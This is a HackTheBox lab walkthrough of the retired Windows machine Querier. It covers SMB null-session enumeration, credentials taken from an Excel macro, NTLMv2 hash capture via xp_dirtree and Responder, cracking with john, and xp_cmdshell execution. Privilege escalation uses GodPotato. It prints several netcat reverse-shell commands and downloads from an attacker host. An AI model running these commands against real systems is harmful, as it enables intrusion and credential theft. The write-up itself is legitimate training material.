the_open_door
coffee
ESEN

Querier

HackTheBoxMediumWindows10.129.88.19312 min read

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#smb#null-session#smbclient#xlsm#macro#vba#mssql#impacket#mssqlclient#xp-dirtree#responder#ntlmv2#john#hash-cracking#xp-cmdshell#smbserver#netcat#penelope#seimpersonate#godpotato#windows#oscp
TL;DR. Querier chains four identities and not one of them needs an exploit. A null session against SMB is enough to list the shares (SMB enumeration without credentials) even though three tools out of four say otherwise; inside there is an .xlsm whose macro carries the database connection string with a username and password written into it (credentials in source). That user, reporting, can do very little in MSSQL except one thing: ask the server to list a directory on a UNC path of ours, and doing so makes the service authenticate against us and hand over its NTLMv2 (coerced authentication). The hash belongs to mssql-svc, falls to john (hash cracking) and that account is dbo on master, so it can turn xp_cmdshell on (xp_cmdshell on MSSQL) and run an nc.exe served from a share of our own. The shell arrives as mssql-svc, a service account and therefore one carrying SeImpersonatePrivilege (SeImpersonatePrivilege abuse): GodPotato (GodPotato) finishes the job.
About the evidence. Three screenshots are published, all three of LibreOffice's interface (section 12.7 of the standard): the macros-disabled banner with the button that reveals them, the macro organiser with the ThisWorkbook module selected inside the VBAProject, and the editor showing the connection string. The macro's code is transcribed, because a text editor inside a window is not an interface to describe: it is text. There is an IP change flagged where it happens: recon and SMB come from a session in which the machine was 10.129.88.193, and everything from MSSQL onwards arrives from 10.129.89.92, the same machine on another boot. And there is one gap: in the first mssqlclient panel the note preserves a three-line result set that xp_dirtree cannot produce and whose command is published nowhere; it is stated in place rather than pinned on the wrong command. Both flags are complete because the machine is retired.

Recon#

Initial scan#


ping -c 1 10.129.88.193
64 bytes from 10.129.88.193: icmp_seq=1 ttl=127 time=28.8 ms

TTL 127 → Windows (128 minus one routing hop).


sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.129.88.193 -oG scan
...
PORT      STATE SERVICE      REASON
135/tcp   open  msrpc        syn-ack ttl 127
139/tcp   open  netbios-ssn  syn-ack ttl 127
445/tcp   open  microsoft-ds syn-ack ttl 127
1433/tcp  open  ms-sql-s     syn-ack ttl 127
5985/tcp  open  wsman        syn-ack ttl 127
47001/tcp open  winrm        syn-ack ttl 127
49664/tcp open  unknown      syn-ack ttl 127
49665/tcp open  unknown      syn-ack ttl 127
49666/tcp open  unknown      syn-ack ttl 127
49667/tcp open  unknown      syn-ack ttl 127
49668/tcp open  unknown      syn-ack ttl 127
49669/tcp open  unknown      syn-ack ttl 127
49670/tcp open  unknown      syn-ack ttl 127
49671/tcp open  unknown      syn-ack ttl 127

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 11.44 seconds
           Raw packets sent: 71915 (3.164MB) | Rcvd: 64714 (2.589MB)

The portrait is a modern Windows with no web server: RPC, SMB, WinRM and, in the middle, 1433, Microsoft SQL Server. There is no port 80 and no 443, so the whole challenge is going to run through SMB and the database.


nmap -p135,139,445,1433,5985,47001,49664,49665,49666,49667,49668,49669,49670,49671 -sCV 10.129.88.193 -oN targetedScan
Starting Nmap 7.99 ( https://nmap.org ) at 2026-11-11 13:01 +0000
Nmap scan report for 10.129.88.193
Host is up (0.026s latency).

PORT      STATE SERVICE       VERSION
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2017 14.00.1000.00; RTM
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2026-11-11T12:55:15
|_Not valid after:  2056-11-11T12:55:15
| ms-sql-info:
|   10.129.88.193:1433:
|     Version:
|       name: Microsoft SQL Server 2017 RTM
|       number: 14.00.1000.00
|       Product: Microsoft SQL Server 2017
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
|_ssl-date: 2026-11-11T13:02:09+00:00; -15s from scanner time.
| ms-sql-ntlm-info:
|   10.129.88.193:1433:
|     Target_Name: HTB
|     NetBIOS_Domain_Name: HTB
|     NetBIOS_Computer_Name: QUERIER
|     DNS_Domain_Name: HTB.LOCAL
|     DNS_Computer_Name: QUERIER.HTB.LOCAL
|     DNS_Tree_Name: HTB.LOCAL
|_    Product_Version: 10.0.17763
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  msrpc         Microsoft Windows RPC
49671/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2026-11-11T13:02:04
|_  start_date: N/A
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled but not required
|_clock-skew: mean: -15s, deviation: 0s, median: -15s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 63.44 seconds

The ms-sql-ntlm-info script gives away the most, and it does so without credentials: to negotiate NTLM the server has to say who it is before anyone authenticates. That is where the HTB.LOCAL domain, the computer name QUERIER and the OS version 10.0.17763 (Windows Server 2019) come from.

Two more things worth noting because they decide later steps. smb2-security-mode says Message signing enabled but not required: SMB signing is not enforced. And the -15s clock skew is irrelevant here, though on a machine with Kerberos it would not be.

SMB - TCP 445#


nxc smb 10.129.88.193 -u '' -p '' --shares
SMB         10.129.88.193   445    QUERIER          [*] Windows 10 / Server 2019 Build 17763 x64 (name:QUERIER) (domain:HTB.LOCAL) (signing:False) (SMBv1:None) (Null Auth:True)
SMB         10.129.88.193   445    QUERIER          [+] HTB.LOCAL\: 
SMB         10.129.88.193   445    QUERIER          [-] Error enumerating shares: STATUS_ACCESS_DENIED

The important line is not the error, it is the [+] HTB.LOCAL\: in the middle: the null session is accepted. What gets denied is share enumeration, which is a later step.


smbmap -H 10.129.88.193 -u '' -p ''
    ________  ___      ___  _______   ___      ___       __         _______
   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /
   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.7 | Shawn Evans - ShawnDEvans@gmail.com
                     https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 0 authenticated session(s)
[!] Access denied on 10.129.88.193, no fun for you...
[*] Closed 1 connections

enum4linux -u '' -p '' 10.129.88.193
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Wed Nov 11 13:47:42 2026

 =========================================( Target Information )=========================================

Target ........... 10.129.88.193
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none


 ===========================( Enumerating Workgroup/Domain on 10.129.88.193 )===========================


[E] Can't find workgroup/domain


 ===================================( Session Check on 10.129.88.193 )===================================


[+] Server 10.129.88.193 allows sessions using username '', password ''


 ================================( Getting domain SID for 10.129.88.193 )================================

do_cmd: Could not initialise lsarpc. Error was NT_STATUS_ACCESS_DENIED

[+] Can't determine if host is part of domain or part of a workgroup

enum4linux complete on Wed Nov 11 13:47:53 2026 

Three tools, the same verdict: the null session gets in (allows sessions using username '', password '') and everything asked through RPC is denied. It looks like a dead end.

It is not:


smbclient -N -L //10.129.88.193/Reports
        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        Reports         Disk      
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.88.193 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

The fourth client does list the shares. The note does not explain why one answers and the other three do not, and no reason is going to be invented here; what it does leave is the rule, and it holds on any machine: a tool's ACCESS_DENIED is not the server's ACCESS_DENIED. If the service accepts the null session, it is worth asking with more than one client before writing it off.

The SMB1 error at the end is noise: smbclient retries with the old dialect purely to get the workgroup, and the machine does not speak it.

Of the four shares, one is not stock. ADMIN$, C$ and IPC$ are created by Windows; Reports was created by somebody.


smbclient -N //10.129.88.193/Reports
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Mon Jan 28 23:23:48 2019
  ..                                  D        0  Mon Jan 28 23:23:48 2019
  Currency Volume Report.xlsm         A    12229  Sun Jan 27 22:21:34 2019

                5158399 blocks of size 4096. 846019 blocks available
smb: \> get "Currency Volume Report.xlsm"
getting file \Currency Volume Report.xlsm of size 12229 as Currency Volume Report.xlsm (5.0 KiloBytes/sec) (average 5.0 KiloBytes/sec)
smb: \> exit

A single file, and its extension is the first thing to read: .xlsm, not .xlsx. The trailing m stands for macro-enabled. An Excel workbook that stores macros stores code, and code written by somebody automating reports tends to carry how it connects to the data.

Access as reporting#

The report's macro#


libreoffice Currency\ Volume\ Report.xlsm

LibreOffice Calc with the Currency Volume Report.xlsm workbook open and empty, and a yellow band warning that macros are disabled by the security settings, with the Show Macros button boxed in red

The sheet is empty, and the warning above says why that matters: the document ships macros. The yellow band is not an obstacle, it is the find, and its button leads exactly where to go.

The Basic macro organiser with the document tree open: inside Currency Volume Report.xlsm there is a VBAProject and, under Document Objects, the ThisWorkbook module selected

The code is not in Standard, where LibreOffice keeps its own, but in the workbook's own VBAProject, under Document Objects → ThisWorkbook. That is where Excel puts the code attached to the workbook.

LibreOffice's Basic editor showing the ThisWorkbook module: twenty-nine lines of VBA with the connection string holding the reporting user and its password boxed in red

Rem Attribute VBA_ModuleType=VBADocumentModule
Option VBASupport 1

' macro to pull data for client volume reports

' further testing required

Private Sub Connect()

Dim conn As ADODB.Connection
Dim rs As ADODB.Recordset

Set conn = New ADODB.Connection
conn.ConnectionString = "Driver={SQL Server};Server=QUERIER;Trusted_Connection=no;Database=volume;Uid=reporting;Pwd=PcwTWTHRwryjc$c6"
conn.ConnectionTimeout = 10
conn.Open

If conn.State = adStateOpen Then

  ' MsgBox "connection successful"

  'Set rs = conn.Execute("SELECT * @@version;")
  Set rs = conn.Execute("SELECT * FROM volume;")
  Sheets(1).Range("A1").CopyFromRecordset rs
  rs.Close

End If

End Sub

Twenty-nine lines, and the credential is on one of them: reporting / PcwTWTHRwryjc$c6.

The Trusted_Connection=no in that same string says something more: the connection does not use the Windows identity of whoever opens the workbook, it uses the username and password written there. That is what turns an oversight into a credential reusable from outside.

And the ' further testing required comment is the whole story of the flaw: somebody left a half-finished test on a share anyone can read without authenticating.

IP change. Everything from here on comes from a later session, in which the machine booted with the address 10.129.89.92. It is the same machine; each block keeps the IP it was run with instead of having it rewritten, which is what would make it look like one continuous run.

The limits of reporting#


impacket-mssqlclient reporting:'PcwTWTHRwryjc$c6'@10.129.89.92 -windows-auth
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: volume
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(QUERIER): Line 1: Changed database context to 'volume'.
[*] INFO(QUERIER): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2017 RTM (14.0.1000)
[!] Press help for extra shell commands
SQL (QUERIER\reporting  reporting@volume)> EXEC master..xp_dirtree '\\10.10.110.17\share\'
SQL (-@volume)> EXEC master..xp_dirtree '\\10.10.15.120\share\'
username
----------------------------
QUERIER\reporting  reporting

The -windows-auth is not optional: reporting is a Windows account (the prompt confirms it right away, QUERIER\reporting), not a SQL Server login of its own. Without that flag impacket would try SQL authentication and fail on a credential that is correct.

The ENVCHANGE(DATABASE) says the session lands in volume, not in master: reporting has its database and little else. It is not dbo, it cannot touch the server's configuration and xp_cmdshell is out of its reach.

But there is one thing it can do, and it needs no special permission: ask the server to look at a folder.

Access as mssql-svc#

Coercion with xp_dirtree#

xp_dirtree lists the directory tree of a path. If the path is a UNC pointing at a machine of ours, the SQL Server service will try to open it, and opening an SMB share means authenticating: the service will introduce itself with its own account. That is coerced authentication, and it exploits nothing, it is how SMB works.

First something has to be waiting on the other side to catch that authentication:


sudo responder -I tun0

And from the SQL session:


EXEC master..xp_dirtree '\\10.10.110.17\share\'

EXEC master..xp_dirtree '\\10.10.15.120\share\'

Both were run. The first points at 10.10.110.17, which is not our address, so nothing comes back; the one that works is the second, against 10.10.15.120, the tun0 IP. There is no need to trust memory for that: the captured hash carries the service name inside it, and it reads cifs/10.10.15.120.

A gap here. That session's panel preserves, below the two xp_dirtree calls, a three-line result set with a username column and the value QUERIER\reporting reporting. xp_dirtree returns subdirectory and depth, never a username column, and the command that does produce that is published nowhere in the note. It is stated instead of being hung off the wrong command.

What does come back, and is what matters, Responder catches:

...
[*] Version: Responder 3.2.2.0
[*] Author: Laurent Gaffie, <lgaffie@secorizon.com>

[+] Listening for events...

[SMB] NTLMv2-SSP Client   : 10.129.89.92
[SMB] NTLMv2-SSP Username : QUERIER\mssql-svc
[SMB] NTLMv2-SSP Hash     : mssql-svc::QUERIER:df6246c0322f0989:A7DB481E325286DD43B80FA17A550959:010100000000000080FF4E79CF72DD01CE2F111FB5923237000000000200080057004A004200490001001E00570049004E002D0054004D0054004D0053005A0036003700440056004A0004003400570049004E002D0054004D0054004D0053005A0036003700440056004A002E0057004A00420049002E004C004F00430041004C000300140057004A00420049002E004C004F00430041004C000500140057004A00420049002E004C004F00430041004C000700080080FF4E79CF72DD010600040002000000080030003000000000000000000000000030000069A88CFF5918F443C5E5E1A7A7542097057FEF3CF8792D37B3CA9E0791965EA20A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310035002E00310032003000000000000000000000000000
[+] Exiting...

The connection comes from 10.129.89.92, that is from the victim, and the user is not reporting: it is QUERIER\mssql-svc, the account the SQL Server service runs under. That is the hop: the query is issued by reporting, but the one going out to fetch the folder is the service.

An NTLMv2 cannot be reused as is (it is no good for pass-the-hash, which only works with the bare NT hash), but it can be attacked:


echo 'mssql-svc::QUERIER:df6246c0322f0989:A7DB481E325286DD43B80FA17A550959:010100000000000080FF4E79CF72DD01CE2F111FB5923237000000000200080057004A004200490001001E00570049004E002D0054004D0054004D0053005A0036003700440056004A0004003400570049004E002D0054004D0054004D0053005A0036003700440056004A002E0057004A00420049002E004C004F00430041004C000300140057004A00420049002E004C004F00430041004C000500140057004A00420049002E004C004F00430041004C000700080080FF4E79CF72DD010600040002000000080030003000000000000000000000000030000069A88CFF5918F443C5E5E1A7A7542097057FEF3CF8792D37B3CA9E0791965EA20A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310035002E00310032003000000000000000000000000000' > hash

john --wordlist=/usr/share/wordlists/rockyou.txt hash
...
corporate568     (mssql-svc)     
...

mssql-svc / corporate568. A service account with a dictionary password.

Shell as mssql-svc#

xp_cmdshell#


impacket-mssqlclient mssql-svc:'corporate568'@10.129.89.92 -windows-auth
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(QUERIER): Line 1: Changed database context to 'master'.
[*] INFO(QUERIER): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2017 RTM (14.0.1000)
[!] Press help for extra shell commands
SQL (QUERIER\mssql-svc  dbo@master)> EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
INFO(QUERIER): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
SQL (QUERIER\mssql-svc  dbo@master)> EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
INFO(QUERIER): Line 185: Configuration option 'xp_cmdshell' changed from 1 to 1. Run the RECONFIGURE statement to install.
SQL (QUERIER\mssql-svc  dbo@master)> EXEC xp_cmdshell 'whoami';
output
-----------------
querier\mssql-svc

Compare that with the previous session. reporting landed in volume; mssql-svc lands in master, and the prompt that follows will read dbo@master. Being dbo of master means owning the server's configuration, and from there xp_cmdshell is just an option that happens to be off.


EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
INFO(QUERIER): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.

EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
INFO(QUERIER): Line 185: Configuration option 'xp_cmdshell' changed from 1 to 1. Run the RECONFIGURE statement to install.

Both messages say changed from 1 to 1, not from 0 to 1: they were already enabled. The pair of commands changes nothing, but neither is it wasted, because until they ran there was no knowing.


EXEC xp_cmdshell 'whoami';
output              
-----------------   
querier\mssql-svc 

Command execution on the operating system, under the service's account.

From a command to a shell#

xp_cmdshell returns its output in a table, which is fine for looking around and useless for working. A real shell needs an nc.exe on the machine, and there is a shortcut here: it does not have to be downloaded. If SQL Server can open a UNC path of ours (it has just proved it), it can execute straight from it.


cp $(locate nc.exe | tail -n1) .

ls
nc.exe

impacket-smbserver share $(pwd) -smb2support
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

The -smb2support is needed: impacket's server speaks SMB1 by default and a Windows Server 2019 no longer has it enabled.


penelope
[+] Listening for reverse shells on 0.0.0.0:4444 →  127.0.0.1 • 192.168.68.113 • 172.17.0.1 • 10.10.15.120
➤  🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
[+] Got reverse shell from QUERIER~10.129.89.92-Microsoft_Windows_Server_2019_Standard-x64-based_PC 😍 Assigned SessionID <1>
[+] Added readline support...
[+] Interacting with session [1], Shell Type: Readline, Menu key: Ctrl-D
[+] Logging to /home/krmena/.penelope/sessions/QUERIER~10.129.89.92-Microsoft_Windows_Server_2019_Standard-x64-based_PC/2026_11_12-18_13_40-614.log 📜
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

[!] Session detached ⇲

(Penelope)─(Session [1])> sessions 1
[+] Interacting with session [1], Shell Type: Readline, Menu key: Ctrl-D
[+] Logging to /home/krmena/.penelope/sessions/QUERIER~10.129.89.92-Microsoft_Windows_Server_2019_Standard-x64-based_PC/2026_11_12-18_13_40-614.log 📜
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

And from the SQL session:


EXEC xp_cmdshell "\\10.10.15.120\share\nc.exe 10.10.15.120 4444 -e cmd.exe";
[+] Got reverse shell from QUERIER~10.129.89.92-Microsoft_Windows_Server_2019_Standard-x64-based_PC 😍 Assigned SessionID <1>
[+] Added readline support...
[+] Interacting with session [1], Shell Type: Readline, Menu key: Ctrl-D 
[+] Logging to /home/krmena/.penelope/sessions/QUERIER~10.129.89.92-Microsoft_Windows_Server_2019_Standard-x64-based_PC/2026_11_12-18_13_40-614.log 📜
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

[!] Session detached ⇲

(Penelope)─(Session [1])> sessions 1
[+] Interacting with session [1], Shell Type: Readline, Menu key: Ctrl-D 
[+] Logging to /home/krmena/.penelope/sessions/QUERIER~10.129.89.92-Microsoft_Windows_Server_2019_Standard-x64-based_PC/2026_11_12-18_13_40-614.log 📜
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

The binary never touches the victim's disk: cmd opens it over the network from our share and runs it from there. penelope says in passing what is on the other side, Microsoft Windows Server 2019 Standard, which is the fact that will decide the escalation.


whoami
whoami
querier\mssql-svc

type C:\Users\mssql-svc\Desktop\user.txt
type C:\Users\mssql-svc\Desktop\user.txt
5ccb2f53a44dc257a25e585960d64c1a

Privilege escalation#

SeImpersonatePrivilege#


whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

SeImpersonatePrivilege: Enabled. That privilege exists so a service can serve a client with the client's identity: it is how IIS or SQL Server handle requests on behalf of whoever makes them. The abuse consists of reversing the direction: if we get a SYSTEM process to connect to us, we can impersonate it (SeImpersonatePrivilege abuse).

Since the system is a Server 2019, JuicyPotato no longer works, so it is GodPotato's turn, doing the same thing through RPCSS. It is the same ending as Sniper, where the binary's execution was not preserved; here it is complete.


cp $(locate gp.exe | tail -n 1) .

python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

curl http://10.10.15.120/gp.exe -O gp.exe
curl http://10.10.15.120/gp.exe -O gp.exe
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 57344  100 57344    0     0  57344      0  0:00:01 --:--:--  0:00:01  325k
  0     0    0     0    0     0      0      0 --:--:--  0:00:11 --:--:--     0curl: (6) Could not resolve host: gp.exe

The command is written wrong and works anyway, which is exactly why it is published as it stands. -O takes no argument: it saves the download under the name carried by the URL. The gp.exe that follows is read by curl as a second URL, which it tries to resolve as a hostname and fails on with (6) Could not resolve host. But the first download had already finished: the 100 57344 on the first line are the binary's 57,344 bytes, whole. The error is real and so is the file.


.\gp.exe -cmd "whoami"
.\gp.exe -cmd "whoami"
[*] CombaseModule: 0x140717436239872
[*] DispatchTable: 0x140717438553296
[*] UseProtseqFunction: 0x140717437931616
[*] UseProtseqFunctionParamCount: 6
[*] HookRPC
[*] Start PipeServer
[*] CreateNamedPipe \\.\pipe\dbe1a269-994c-4453-b2b7-a41e32afff2a\pipe\epmapper
[*] Trigger RPCSS
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 0000e002-0b80-ffff-d9ae-9a9b3d956973
[*] DCOM obj OXID: 0x106827354ce70b1c
[*] DCOM obj OID: 0x2157c5a6d3268317
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] CurrentsImpersonationLevel: Impersonation
[*] Start Search System Token
[*] PID : 840 Token:0x628  User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] UnmarshalObject: 0x80070776
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 2780
nt authority\system

The output narrates the whole attack, step by step. CreateNamedPipe sets up a named pipe impersonating the RPC endpoint mapper; Trigger RPCSS makes the RPCSS service, which runs as SYSTEM, connect to it; the connection arrives (Pipe Connected!) and with it the client's token. From there it is search and impersonation: Start Search System Token, the SYSTEM token of process 840, and the identity change the tool itself confirms two lines later, CurrentUser: NT AUTHORITY\SYSTEM.

The last line is the answer to the command it was given: nt authority\system.

A shell as SYSTEM#

A -cmd "whoami" proves the escalation but does not keep it: every run spawns a process and closes it. What is needed is for the process started with the SYSTEM token to be a shell that comes back to us.


ls nc.exe
nc.exe

python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

curl http://10.10.15.120/nc.exe -O nc.exe
curl http://10.10.15.120/nc.exe -O nc.exe
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 28160  100 28160    0     0  28160      0  0:00:01 --:--:--  0:00:01  352k
  0     0    0     0    0     0      0      0 --:--:--  0:00:11 --:--:--     0curl: (6) Could not resolve host: nc.exe

This time the nc.exe does get left on disk, because gp.exe has to launch it from a local path.


rlwrap nc -nlvp 4443
listening on [any] 4443 ...
connect to [10.10.15.120] from (UNKNOWN) [10.129.89.92] 49702
Microsoft Windows [Version 10.0.17763.292]
(c) 2018 Microsoft Corporation. All rights reserved.

.\gp.exe -cmd "cmd.exe /c C:\Users\mssql-svc\nc.exe 10.10.15.120 4443 -e cmd.exe"
.\gp.exe -cmd "cmd.exe /c C:\Users\mssql-svc\nc.exe 10.10.15.120 4443 -e cmd.exe"
[*] CombaseModule: 0x140717436239872
[*] DispatchTable: 0x140717438553296
[*] UseProtseqFunction: 0x140717437931616
[*] UseProtseqFunctionParamCount: 6
[*] HookRPC
[*] Start PipeServer
[*] CreateNamedPipe \\.\pipe\e50a8698-e513-437e-802d-d1d9b2971b60\pipe\epmapper
[*] Trigger RPCSS
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 00006802-0ee8-ffff-2372-2564220d5590
[*] DCOM obj OXID: 0xf06ad189f9f0e419
[*] DCOM obj OID: 0x81dff450985a262d
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] CurrentsImpersonationLevel: Impersonation
[*] Start Search System Token
[*] PID : 840 Token:0x628  User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] UnmarshalObject: 0x80070776
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 3000

The same route, the same PID : 840 whose token gets stolen, and one difference on the last line: there is no command output, because the process that starts, 3000, prints nothing here. It prints on the other side:

connect to [10.10.15.120] from (UNKNOWN) [10.129.89.92] 49702
Microsoft Windows [Version 10.0.17763.292]
(c) 2018 Microsoft Corporation. All rights reserved.

whoami
whoami
nt authority\system

type C:\Users\Administrator\desktop\root.txt
type C:\Users\Administrator\desktop\root.txt
da869b86e2f6af81a567f35404a9dad6

Attack chain#

ping ttl=127 → Windows  /  nmap: 445, 1433 (MSSQL 2017 RTM), 5985 and the RPC block
  │  ms-sql-ntlm-info WITHOUT credentials: HTB.LOCAL, QUERIER, 10.0.17763 (Server 2019)
  ▼
null session: nxc, smbmap and enum4linux say ACCESS_DENIED ... and smbclient -L LISTS
  │  one share that is not stock: Reports
  ▼
smbclient //ip/Reports  ─►  get "Currency Volume Report.xlsm"   (.xlsm = macro-enabled)
  │  VBAProject → ThisWorkbook: the connection string in the clear
  ▼
reporting:PcwTWTHRwryjc$c6  ─►  mssqlclient -windows-auth  ─►  lands in volume, not dbo
  │  responder -I tun0  +  EXEC master..xp_dirtree '\\<kali>\share\'
  ▼
the SERVICE goes to fetch the folder and introduces itself: NTLMv2 of QUERIER\mssql-svc [user pivoting]
  │  john + rockyou  ─►  corporate568
  ▼
mssqlclient as mssql-svc  ─►  dbo@master  ─►  sp_configure xp_cmdshell  ─►  whoami
  │  impacket-smbserver share  +  EXEC xp_cmdshell "\\<kali>\share\nc.exe <kali> 4444 -e cmd.exe"
  ▼
penelope  ─►  querier\mssql-svc  ─►  user.txt
  │  whoami /priv: SeImpersonatePrivilege Enabled, and the system is Server 2019
  ▼
curl gp.exe  +  .\gp.exe -cmd "whoami"  ─►  nt authority\system   [escalada]
  │  curl nc.exe  +  .\gp.exe -cmd "cmd.exe /c ...nc.exe <kali> 4443 -e cmd.exe"
  ▼
rlwrap nc -nlvp 4443  ─►  nt authority\system  ─►  root.txt

Lessons learned#

  • A tool's ACCESS_DENIED is not the server's ACCESS_DENIED. Three different clients wrote the machine off and the fourth listed the shares. When the null session is accepted (Null Auth: True, allows sessions using username ''), whatever fails afterwards deserves a second try with another client before moving on to another port.
  • The extension is data. .xlsm rather than .xlsx is the difference between a spreadsheet and a spreadsheet with code inside. The file was 12 KB and what mattered was twenty-nine lines of VBA.
  • A credential in a macro is a credential on a share. The Trusted_Connection=no forces the username and password to be written into the document, and the document lives somewhere anyone can read without authenticating. The ' further testing required comment explains how this happens: nobody deletes the test.
  • If a service can open a path, it can give itself away. xp_dirtree is not a flaw and needs no elevated permission: it is a function that looks at folders. Pointing it at a UNC path of our own turns an unprivileged account into the trigger for capturing the service account's hash, which is a different identity and nearly always a better one.
  • The account that opens the session is not the one doing the work. The query is issued by reporting; the one that goes out to the network is mssql-svc. Understanding that split is what turns an apparently useless permission into a pivot.
  • A mistyped flag that works still needs reading in full. The curl ... -O gp.exe ends in a red error and the binary is on disk: -O had already saved the download and the error belongs to the invented second URL. Calling the command failed would have cost a needless repeat; calling it a success without reading the 100 57344 would have been luck.
  • A service account carries SeImpersonatePrivilege almost by definition. There is no need to hunt for a vulnerability after landing as mssql-svc, iusr or NETWORK SERVICE: look at whoami /priv and, if it is there, pick the potato that matches the OS version.
Command cheatsheet 20 commands

Quick review